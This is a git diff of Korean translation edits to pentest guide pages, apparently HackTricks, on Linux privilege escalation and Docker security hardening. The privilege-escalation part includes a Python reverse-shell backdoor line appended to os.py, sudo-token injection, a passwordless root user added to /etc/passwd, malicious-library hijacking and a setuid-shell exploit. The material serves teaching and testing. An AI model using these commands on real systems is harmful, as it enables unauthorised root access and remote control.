- 두 번째 익스플로잇 (`exploit_v2.sh`)은 _/tmp_에 **setuid로 루트가 소유한 sh 셸**을 생성합니다.
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -942,8 +946,8 @@ sudo su
```
### /var/run/sudo/ts/\<Username>
폴더 내의 파일에 **쓰기 권한**이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\
예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수** 있습니다.
해당 폴더 또는 폴더 내에 생성된 파일에 **쓰기 권한**이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\
예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수 있습니다**.
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
@ -969,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
`sudo` 바이너리의 대안으로 OpenBSD의 `doas`가 있습니다. `/etc/doas.conf`에서 구성 설정을 확인하는 것을 잊지 마세요.
`sudo` 바이너리의 대안으로 OpenBSD의 `doas`와 같은 것들이 있습니다. `/etc/doas.conf`에서 그 설정을 확인하는 것을 잊지 마세요.
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행하고 그 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다.
만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다.
사용자가 다른 쉘(배시가 아닌)을 사용하는 경우, 새로운 경로를 추가하기 위해 다른 파일을 수정해야 한다는 점에 유의하세요. 예를 들어 [sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 또 다른 예를 찾을 수 있습니다.
@ -1002,7 +1006,7 @@ sudo ls
이는 `/etc/ld.so.conf.d/*.conf`의 구성 파일이 읽힐 것임을 의미합니다. 이 구성 파일은 **라이브러리**가 **검색**될 **다른 폴더**를 가리킵니다. 예를 들어, `/etc/ld.so.conf.d/libc.conf`의 내용은 `/usr/local/lib`입니다. **이는 시스템이 `/usr/local/lib` 내에서 라이브러리를 검색할 것임을 의미합니다.**
어떤 이유로 **사용자가 다음 경로에 쓰기 권한**을 가지고 있다면: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 모든 파일 또는 `/etc/ld.so.conf.d/*.conf` 내의 구성 파일에 있는 모든 폴더, 그는 권한 상승을 할 수 있습니다.\
어떤 이유로 **사용자가 다음 경로 중 하나에 쓰기 권한**을 가지고 있다면: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 모든 파일 또는 `/etc/ld.so.conf.d/*.conf` 내의 구성 파일에 있는 모든 폴더, 그는 권한 상승을 할 수 있습니다.\
다음 페이지에서 **이 잘못된 구성을 악용하는 방법**을 확인하세요:
{{#ref}}
@ -1020,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
`/var/tmp/flag15/`에 lib를 복사함으로써 `RPATH` 변수에 지정된 대로 이 위치에서 프로그램에 의해 사용될 것입니다.
`/var/tmp/flag15/`에 lib를 복사함으로써, `RPATH` 변수에 지정된 대로 이 위치에서 프로그램에 의해 사용될 것입니다.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@ -1029,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
`/var/tmp``gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`를 사용하여 악성 라이브러리를 생성합니다.
그런 다음 `/var/tmp``gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`를 사용하여 악성 라이브러리를 생성합니다.
```c
#include<stdlib.h>
#define SHELL "/bin/sh"
@ -1119,14 +1123,14 @@ Check **Valentine box from HTB** for an example.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
모든 SSL 및 SSH 키는 2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 경우 이 버그의 영향을 받을 수 있습니다.\
이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개뿐이었습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\
이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개뿐이었습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키지고 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interesting configuration values
- **PasswordAuthentication:** 비밀번호 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다.
- **PubkeyAuthentication:** 공개 키 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다.
- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때, 서버가 비밀번호 문자열이 비어 있는 계정으로 로그인하는 것을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다.
- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때, 서버가 빈 비밀번호 문자열로 계정에 로그인하는 것을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다.
### PermitRootLogin
@ -1135,7 +1139,7 @@ root가 ssh를 사용하여 로그인할 수 있는지 여부를 지정하며,
- `yes`: root는 비밀번호와 개인 키를 사용하여 로그인할 수 있습니다.
- `without-password` 또는 `prohibit-password`: root는 개인 키로만 로그인할 수 있습니다.
- `forced-commands-only`: root는 개인 키를 사용하여 로그인할 수 있으며, 명령 옵션이 지정되어야 합니다.
- `no`: 불가능합니다.
- `no`: 로그인 불가
### AuthorizedKeysFile
@ -1154,12 +1158,12 @@ SSH 에이전트 포워딩을 사용하면 **서버에 키를 남기지 않고**
Host example.com
ForwardAgent yes
```
`Host``*`인 경우 사용자가 다른 머신으로 이동할 때마다 해당 호스트가 키에 접근할 수 있게 되며(이는 보안 문제입니다).
`Host``*`인 경우 사용자가 다른 머신으로 이동할 때마다 해당 호스트가 키에 접근할 수 있으므로(이는 보안 문제입니다).
파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하고 이 구성을 허용하거나 거부할 수 있습니다.\
파일 `/etc/sshd_config``AllowAgentForwarding` 키워드를 사용하여 ssh-agent 포워딩을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용).
Forward Agent가 환경에 구성되어 있는 경우 다음 페이지를 읽으십시오. **권한 상승을 악용할 수 있을지도 모릅니다**:
환경에서 Forward Agent가 구성되어 있는 경우 **권한 상승을 악용할 수 있으므로** 다음 페이지를 읽어보십시오:
{{#ref}}
ssh-forward-agent-exploitation.md
@ -1202,7 +1206,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
이제 `su` 명령어를 `hacker:hacker`로 사용할 수 있습니다.
이제 `hacker:hacker`로 `su` 명령을 사용할 수 있습니다.
또는 다음 줄을 사용하여 비밀번호가 없는 더미 사용자를 추가할 수 있습니다.\
경고: 현재 머신의 보안을 저하시킬 수 있습니다.
@ -1210,7 +1214,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
참고: BSD 플랫폼에서는 `/etc/passwd``/etc/pwd.db``/etc/master.passwd`에 위치하, `/etc/shadow``/etc/spwd.db`로 이름이 변경됩니다.
참고: BSD 플랫폼에서는 `/etc/passwd``/etc/pwd.db``/etc/master.passwd`에 위치하, `/etc/shadow``/etc/spwd.db`로 이름이 변경됩니다.
민감한 파일에 **쓰기**가 가능한지 확인해야 합니다. 예를 들어, **서비스 구성 파일**에 쓸 수 있습니까?
```bash
@ -1282,7 +1286,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
```
### 비밀번호가 포함된 알려진 파일
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 코드를 읽어보세요. 이 도구는 **비밀번호가 포함될 수 있는 여러 파일을 검색합니다**.\
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 코드를 읽어보세요. 이 도구는 **비밀번호가 포함될 수 있는 여러 파일을 검색합니다**.\
**또 다른 흥미로운 도구**는 [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, 이는 Windows, Linux 및 Mac에서 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다.
### 로그
@ -1293,7 +1297,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
**로그를 읽기 위해 그룹** [**adm**](interesting-groups-linux-pe/#adm-group) 정말 유용할 것입니다.
로그를 **읽기 위해 그룹** [**adm**](interesting-groups-linux-pe/#adm-group) 정말 유용할 것입니다.
### 셸 파일
```bash
@ -1315,15 +1319,15 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Python library hijacking
어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면 os.py 라이브러리를 복사하여 붙여넣기 하세요).
어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면, os.py 라이브러리를 복사하여 붙여넣기 하세요).
라이브러리를 **백도어**하려면 os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요):
**라이브러리에 백도어를 설치하려면** os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate 취약점
`logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다.
`logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 잠재적으로 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다.
> [!NOTE]
> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다.
@ -1332,7 +1336,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다.
이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 로그를 심볼릭 링크로 대체하여 권한을 상승시킬 수 있는지 확인하십시오.
이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 로그를 심볼릭 링크로 대체하여 권한 상승이 가능한지 확인하십시오.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
@ -1352,13 +1356,13 @@ DEVICE=eth0
```
### **init, init.d, systemd, 및 rc.d**
디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다.
디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이러한 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다.
반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 Ubuntu에서 도입한 최신 **서비스 관리**로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 여전히 사용됩니다.
반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 우분투에서 도입한 최신 **서비스 관리**로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 호환성 계층 덕분에 여전히 사용됩니다.
**systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, 자동 마운트 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 이는 배포 패키지를 위한 `/usr/lib/systemd/`와 관리자의 수정을 위한 `/etc/systemd/system/`에 파일을 정리하여 시스템 관리 프로세스를 간소화합니다.
## 기타
## 기타 트릭
### NFS 권한 상승
@ -1396,11 +1400,11 @@ cisco-vmanage.md
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** 리눅스 및 MAC에서 커널 취약점 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Kernelpop:** 리눅스와 MAC의 커널 취약점 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**더 많은 스크립트의 수집**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
**더 많은 스크립트 모음**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## 참고자료

View File

@ -1,10 +1,10 @@
# Docker Security
# Docker 보안
{{#include ../../../banners/hacktricks-training.md}}
## **기본 Docker 엔진 보안**
**Docker 엔진**은 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 컨테이너를 격리하여 기본적인 보안 계층을 제공합니다. **Capabilities dropping**, **Seccomp**, 및 **SELinux/AppArmor**를 통해 추가적인 보호가 제공되어 컨테이너 격리가 강화됩니다. **auth plugin**은 사용자 행동을 추가로 제한할 수 있습니다.
**Docker 엔진**은 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 컨테이너를 격리하여 기본적인 보안 계층을 제공합니다. 추가적인 보호는 **Capabilities dropping**, **Seccomp**, 및 **SELinux/AppArmor**를 통해 제공되어 컨테이너 격리를 강화합니다. **auth 플러그인**은 사용자 행동을 추가로 제한할 수 있습니다.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -28,13 +28,13 @@ sudo service docker restart
컨테이너 이미지는 개인 또는 공용 저장소에 저장될 수 있습니다. Docker는 컨테이너 이미지를 위한 여러 저장 옵션을 제공합니다:
- [**Docker Hub**](https://hub.docker.com): Docker의 공용 레지스트리 서비스.
- [**Docker Registry**](https://github.com/docker/distribution): 사용자가 자신의 레지스트리를 호스팅할 수 있도록 하는 오픈 소스 프로젝트.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): 역할 기반 사용자 인증 및 LDAP 디렉토리 서비스와의 통합 기능을 갖춘 Docker의 상업적 레지스트리 제공.
- [**Docker Hub**](https://hub.docker.com): Docker의 공용 레지스트리 서비스입니다.
- [**Docker Registry**](https://github.com/docker/distribution): 사용자가 자신의 레지스트리를 호스팅할 수 있도록 하는 오픈 소스 프로젝트입니다.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): 역할 기반 사용자 인증 및 LDAP 디렉토리 서비스와의 통합 기능을 갖춘 Docker의 상업적 레지스트리 제공입니다.
### 이미지 스캔
컨테이너는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**을 가질 수 있습니다. Docker는 컨테이너의 보안 스캔을 수행하고 취약점을 나열하는 **Nautilus**라는 프로젝트를 진행 중입니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 구멍을 식별합니다.
컨테이너는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**이 있을 수 있습니다. Docker는 컨테이너의 보안 스캔을 수행하고 취약점을 나열하는 **Nautilus**라는 프로젝트를 진행 중입니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 구멍을 식별합니다.
자세한 [**정보는 여기에서 읽어보세요**](https://docs.docker.com/engine/scan/) .
@ -74,7 +74,7 @@ Docker 이미지 서명은 컨테이너에서 사용되는 이미지의 보안
- **Docker Content Trust**는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 한 Notary 프로젝트를 활용합니다. 자세한 내용은 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하세요.
- Docker 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정합니다. 이 기능은 Docker 버전 1.10 이상에서 기본적으로 꺼져 있습니다.
- 이 기능이 활성화되면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시에는 루트 및 태 키에 대한 비밀번호를 설정해야 하며, Docker는 보안을 강화하기 위해 Yubikey도 지원합니다. 더 많은 세부정보는 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다.
- 이 기능이 활성화되면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시에는 루트 및 태 키에 대한 비밀번호를 설정해야 하며, Docker는 보안을 강화하기 위해 Yubikey도 지원합니다. 더 많은 세부정보는 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다.
- 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 하면 "No trust data for latest" 오류가 발생합니다.
- 첫 번째 이후의 이미지 푸시를 위해 Docker는 이미지를 서명하기 위해 리포지토리 키의 비밀번호를 요청합니다.
@ -92,7 +92,7 @@ Docker 호스트를 전환할 때, 운영을 유지하기 위해 루트 및 리
**주요 프로세스 격리 기능**
컨테이너화된 환경에서 프로젝트와 그 프로세스를 격리하는 것은 보안 및 자원 관리에 있어 매우 중요합니다. 다음은 주요 개념에 대한 간단한 설명입니다:
컨테이너화된 환경에서 프로젝트와 그 프로세스를 격리하는 것은 보안 및 자원 관리에 있어 매우 중요합니다. 주요 개념에 대한 간단한 설명은 다음과 같습니다:
**네임스페이스**
@ -103,7 +103,7 @@ Docker 호스트를 전환할 때, 운영을 유지하기 위해 루트 및 리
**제어 그룹 (CGroups)**
- **기능**: 주로 프로세스 간 자원을 할당하는 데 사용됩니다.
- **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 `release_agent` 기능이 무단 접근을 위해 악용될 수 있습니다.
- **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 무단 접근을 위해 악용될 수 있는 `release_agent` 기능이 있습니다.
**능력 드롭**
@ -116,20 +116,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
```
**Seccomp**
Docker에서 기본적으로 활성화되어 있습니다. 이는 **프로세스가 호출할 수 있는 syscalls를 더욱 제한하는 데 도움을 줍니다.**\
Docker에서 기본적으로 활성화되어 있습니다. 이는 프로세스가 호출할 수 있는 **syscalls를 더욱 제한하는 데 도움을 줍니다**.\
**기본 Docker Seccomp 프로파일**은 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 찾을 수 있습니다.
**AppArmor**
Docker에는 활성화할 수 있는 템플릿이 있습니다: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
이것은 권한, syscalls, 파일 및 폴더에 대한 접근을 줄이는 데 도움이 됩니다...
이것은 기능, syscalls, 파일 및 폴더에 대한 접근을 줄이는 데 도움이 됩니다...
</details>
### Namespaces
**Namespaces**는 **커널 리소스를 분할**하여 한 집합의 **프로세스**가 한 집합의 **리소스**를 **보고**, **다른** 집합의 **프로세스**가 **다른** 집합의 리소스를 보는 Linux 커널의 기능입니다. 이 기능은 리소스와 프로세스의 집합에 대해 동일한 네임스페이스를 가지지만, 해당 네임스페이스는 서로 다른 리소스를 참조함으로써 작동합니다. 리소스는 여러 공간에 존재할 수 있습니다.
**Namespaces**는 **커널 리소스를 분할하는** Linux 커널의 기능으로, 한 집합의 **프로세스**가 한 집합의 **리소스**를 **보고**, **다른** 집합의 **프로세스**가 **다른** 집합의 리소스를 보는 방식으로 작동합니다. 이 기능은 리소스와 프로세스의 집합에 대해 동일한 네임스페이스를 가지지만, 네임스페이스는 서로 다른 리소스를 참조합니다. 리소스는 여러 공간에 존재할 수 있습니다.
Docker는 컨테이너 격리를 달성하기 위해 다음 Linux 커널 네임스페이스를 사용합니다:
@ -147,7 +147,7 @@ namespaces/
### cgroups
Linux 커널 기능 **cgroups**는 **일련의 프로세스 간에 cpu, memory, io, network bandwidth와 같은 리소스를 제한하는 기능을 제공합니다.** Docker는 특정 컨테이너에 대한 리소스 제어를 허용하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\
Linux 커널 기능 **cgroups**는 **cpu, memory, io, network bandwidth와 같은 리소스를** 프로세스 집합에 대해 **제한할 수 있는 기능**을 제공합니다. Docker는 특정 컨테이너에 대한 리소스 제어를 허용하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\
다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, cpu share가 512, blkioweight가 400인 컨테이너입니다. CPU share는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. 세 개의 컨테이너가 동일한 CPU share 1024를 가지면, 각 컨테이너는 CPU 리소스 경합 시 최대 33%의 CPU를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
@ -168,7 +168,7 @@ cgroups.md
권한은 **루트 사용자에게 허용될 수 있는 권한에 대한 더 세밀한 제어를 허용**합니다. Docker는 Linux 커널 권한 기능을 사용하여 **사용자 유형에 관계없이 컨테이너 내에서 수행할 수 있는 작업을 제한**합니다.
Docker 컨테이너가 실행될 때, **프로세스는 격리에서 탈출하는 데 사용할 수 있는 민감한 권한을 포기합니다**. 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장하려고 합니다:
Docker 컨테이너가 실행될 때, **프로세스는 격리에서 탈출하는 데 사용할 수 있는 민감한 권한을 포기합니다**. 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장하려는 시도입니다:
{{#ref}}
../linux-capabilities.md
@ -276,9 +276,9 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
비밀을 Docker 이미지에 직접 포함시키거나 환경 변수를 사용하는 것은 피하는 것이 중요합니다. 이러한 방법은 `docker inspect` 또는 `exec`와 같은 명령을 통해 컨테이너에 접근할 수 있는 모든 사람에게 민감한 정보를 노출합니다.
**Docker 볼륨**은 민감한 정보에 접근하기 위한 더 안전한 대안입니다. 이는 메모리 내에서 임시 파일 시스템으로 활용될 수 있어 `docker inspect` 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자와 컨테이너에 `exec` 접근 권한이 있는 사용자는 여전히 비밀에 접근할 수 있습니다.
**Docker 볼륨**은 민감한 정보에 접근하기 위한 더 안전한 대안으로 권장됩니다. 이는 메모리 내의 임시 파일 시스템으로 활용될 수 있어 `docker inspect` 및 로깅과 관련된 위험을 완화합니다. 그러나 루트 사용자와 컨테이너에 `exec` 접근 권한이 있는 사용자는 여전히 비밀에 접근할 수 있습니다.
**Docker 비밀**은 민감한 정보를 처리하는 데 있어 더욱 안전한 방법을 제공합니다. 이미지 빌드 단계에서 비밀이 필요한 인스턴스의 경우, **BuildKit**은 빌드 시간 비밀을 지원하여 빌드 속도를 향상시키고 추가 기능을 제공합니다.
**Docker 비밀**은 민감한 정보를 처리하기 위한 더욱 안전한 방법을 제공합니다. 이미지 빌드 단계에서 비밀이 필요한 인스턴스의 경우, **BuildKit**은 빌드 시간 비밀을 지원하여 빌드 속도를 향상시키고 추가 기능을 제공합니다.
BuildKit을 활용하려면 세 가지 방법으로 활성화할 수 있습니다:
@ -305,26 +305,30 @@ file: ./my_secret_file.txt
```
이 구성은 Docker Compose로 서비스를 시작할 때 비밀을 사용할 수 있도록 허용합니다.
Kubernetes 환경에서는 비밀이 기본적으로 지원되며, [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 추가 관리할 수 있습니다. Kubernetes의 역할 기반 접근 제어(RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다.
Kubernetes 환경에서는 비밀이 기본적으로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 추가 관리할 수 있습니다. Kubernetes의 역할 기반 접근 제어(RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다.
### gVisor
**gVisor**는 Go로 작성된 애플리케이션 커널로, Linux 시스템 표면의 상당 부분을 구현합니다. 이는 애플리케이션과 호스트 커널 간의 **격리 경계를 제공하는** `runsc`라는 [Open Container Initiative (OCI)](https://www.opencontainers.org) 런타임을 포함합니다. `runsc` 런타임은 Docker 및 Kubernetes와 통합되어 샌드박스화된 컨테이너를 쉽게 실행할 수 있게 합니다.
{% embed url="https://github.com/google/gvisor" %}
{{#ref}}
https://github.com/google/gvisor
{{#endref}}
### Kata Containers
